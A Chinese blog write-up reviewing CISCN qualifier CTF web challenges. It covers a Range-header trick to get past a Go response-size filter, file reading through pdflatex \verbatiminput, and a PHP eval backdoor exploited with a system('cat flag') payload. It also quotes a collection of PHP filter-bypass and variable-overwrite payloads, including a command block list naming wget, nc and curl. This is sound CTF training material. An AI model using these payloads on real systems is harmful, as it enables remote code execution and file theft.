CISCN选拔赛复盘
本文最后更新于329 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

赛后总结

这次的选拔赛,总的来说依托答辩。也是看到了很多问题,还有见识到了大赛赛题的真正难度。目前看来还有不小的距离,仍需努力啊。

gallery

说是web,感觉更像是一道类misc的web题

首先是进入题目页面,发现了一个选项框,随便点一个试试

这时候注意到html框里面出现了 ?file_extension=gif 的字样,猜测可以注入,尝试注入 ?fie_extension=1 成功爆出flag文件。

很激动,点进去试试,发现被骗了,一堆问号

这时候,开始查看源代码,寻找代码逻辑

package main

import (
	"bytes"
	"net/http"

	"github.com/gorilla/mux"
)

const (
	PORT = "8080"
	DIR  = "static"
)

type MyResponseWriter struct {
	http.ResponseWriter
	lengthLimit int
}

func (w *MyResponseWriter) Header() http.Header {
	return w.ResponseWriter.Header().Clone()
}

func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}

func main() {
	r := mux.NewRouter()
	r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))

	r.HandleFunc("/", IndexHandler)

	http.ListenAndServe(":"+PORT, middleware()(r))
}

ok,go语言,简直就是一坨中的一坨,但是认真审计之后,发现问题所在,有一个文件大小限制,限制了文件的大小,导致flag文件无法正常显示。

func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}

限制的大小有 10240bit ,但是我们的flag文件通过抓包可以看到有一万六千多bit,一旦超过了们就会执行以下方法

type MyResponseWriter struct {
	http.ResponseWriter
	lengthLimit int
}

把文件里的内容编程一堆问号
于是我想啊想啊想,终于在浩林的提示下发现了一个函数,range()函数,在了解这个函数的同事还知道了一个东西叫做文件分片下载。
这个时候就可以来到我们愉快的爆flag时间了

在kali中使用指令 curl –range 0-10000 文件名 url

curl –range 10001- 文件名 url

第二个文件不知道剩下多少的时候,后面直接省略就行,会自动补全的

最后 cat 文件1 文件2>文件3

最后得到flag

util

这道题目就是纯ping题,没什么好说的,唯一一个让我卡住的点就是,要抓包才能显示,这一点值得注意,以后要是还遇到ping不出来的题目,我直接抓包

textex

这道题目是一个 pdflatex 的题目,也是依托,因为我第一次遇到这种题目,感觉无从下手

这道题目就是利用tex指令去读取任意文件

目前踩到的坑有,没有写上下两个开始和结束的代码,还有就是看了wp发现用了一些看不懂的,奇奇怪怪的指令。

具体代码如下

\documentclass{article}
\usepackage{verbatim}
\newcommand{\f}{f}
\begin{document}
This is a sample.
\verbatiminput{{\f}lag}
\end{document}

除去两个必要的头尾,中间一大段基本上都是看不懂的,回过神来,我们来复盘一下这个代码的思路

首先是进行代码审计

import io
import os
import random
import shutil
import string
import subprocess
from flask import Flask, request, send_file, render_template

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024

@app.route("/")
def top():
    return render_template("index.html")

def tex2pdf(tex_code) -> str:
    # Generate random file name.
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
    # Create a working directory.
    os.makedirs(f"tex_box/{filename}", exist_ok=True)
    # .tex -> .pdf
    try:
        # No flag !!!!
        if "flag" in tex_code.lower():
            tex_code = ""
        # Write tex code to file.
        with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
            f.write(tex_code)
        # Create pdf from tex.
        subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
    except:
        pass
    if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
        # OMG error ;(
        shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
    return f"{filename}"

@app.route("/pdf", methods=["POST"])
def pdf():
    # tex to pdf.
    filename = tex2pdf(request.form.get("tex_code"))
    # Here's your pdf.
    with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
        pdf = io.BytesIO(f.read())
    shutil.rmtree(f"tex_box/{filename}/")
    return send_file(pdf, mimetype="application/pdf")

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4444)

在源代码文件中,我们可以发现这段代码

 if "flag" in tex_code.lower():
            tex_code = ""

这说明,flag 被过滤了

所以他用了一个指令

\newcommand{\f}{f}

这段指令跟 \def 有点像,同样都是创建一个文件,然后写出文件里的内容,去间接的拼凑出flag文件指令

\verbatiminput{{\f}lag}

这句指令就是能按原样打印外部文件,跟 \input 的作用类似,但是很奇怪的是,用\input无法打开文件,会一直报错,所以才要一个命令来平替。

【签到】backdoor

看了要流泪的题目,这题没做出来真的是吃了大奋,脑子被翔给堵住了,哎哦,给我难过了好久

进入题目首先就是一个注入标志,于是我就想着各种注入,但是一直报错。

我卡住的地方就在于因为一直找不到源文件,真的很烦啊,给我烦死了,找了半天没找到

题目说有后门,我于是一直围绕后门去写命令,导致我浪费了大量的时间,最后我去抓包,发现这个用的是 php5.5,存在php伪协议注入,于是至此,我才堪堪找到源代码。

Have something?
<?php
error_reporting(0);

if (isset($_GET['T_K.K'])) {
    eval($_GET['T_K.K']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

找到代码后,总共就这么几行代码,控了我几个小时,我真的是个脑瘫。

题目要 T_K.K ,还要 file 两个参数,于是我开始构造,因为有个file,所以我一直卡着不知道要输入什么,后面发现,随便输一个都可以,只要不是黑名单上的,我靠,我也是服了自己的脑子。

最后的payload:

?file=1&T[K.K=system('cat flag');

怎么错的呢,嗯,致命错误,system()后面不加分号是吧,老弟,包炸的。

不过也是学到了个新的知识点,就是在php如果变量或者传参有_的时候,用【替换,可以保留之后的内容,可是,为什么要这么做呢,如果是下划线的话,我不修改他显现不出来的原因又是什么?

这里直接copy一下hz的博客

来自hz的博客:

trim()

这个函数可以过滤掉一些特殊符号,但是换页符\f不过滤。这个方法对is_numeric也有效

带 . 的变量名

php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

先看看下面这个变量的传入

isset($_POST['CTF_SHOW.COM'])

这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1,但根据这个特性,就只能传入CTF[SHOW.COM=

自己构建传值方法

先看代码

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    eval("$c".";");
    if($fl0g==="flag_give_me"){
        echo $flag;
        }
    }
}

这里介绍一种很特别的方法

highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了

GET:?shell=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

$_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里

上面那道题的代码可以通过下面payload绕过。

意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。


GET:?a=1+fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

$_SERVER[‘QUERY_STRING’]

‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里

 _()

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()

get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag

stripos()

这个函数存在路径穿越漏洞,可以使用../..返回上级目录

正则表达式溢出

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false

变量覆盖绕过

先来看这段代码

if($F = @$_GET['F']){<br>    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){<br>        eval(substr($F,0,6));<br>    }else{<br>        die("6个字母都还不够呀?!");<br>    }<br>}

很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过

这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php)

为什么这句payload可以被执行呢?首先,substr把

给读了出来,现在,eval的内容就变成了

这一步,网上的答案容易有一个误区,就是没说清楚这里的$F到底是放到shell里用来申请shell变量的,还是在php里的$F。正确答案应该是后者,因此,就可以再把这个$F替换成

所以最后eval执行的内容就会是上面这个东西,也就会执行sleep了。但是为了拿到flag,单用cat是不行的,因为不会回显,因此需要使用类似dnslog的平台进行接收

当然,假设现在过滤代码升级成了这样

if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}

也还是有方法绕过,有两种方法,一种是接着用curl,那么就需要勇道指令符号化绕过的知识,详情可以参考这里,最后的payload长这样

第二种方法,则是利用ping和awk的组合

通过ping命令去带出数据,然后awk NR一排一排的获得数据

变量覆盖

同样先看代码

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {<br>    die("nonononono");<br>}<br>@parse_str($_SERVER['QUERY_STRING']);<br>extract($_POST);<br>if($key1 == '36d' && $key2 == '36d') {<br>    die(file_get_contents('flag.php'));<br>}

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1
那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表

所以最后payload为?_POST[key1]=36d&_POST[key2]=36d

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇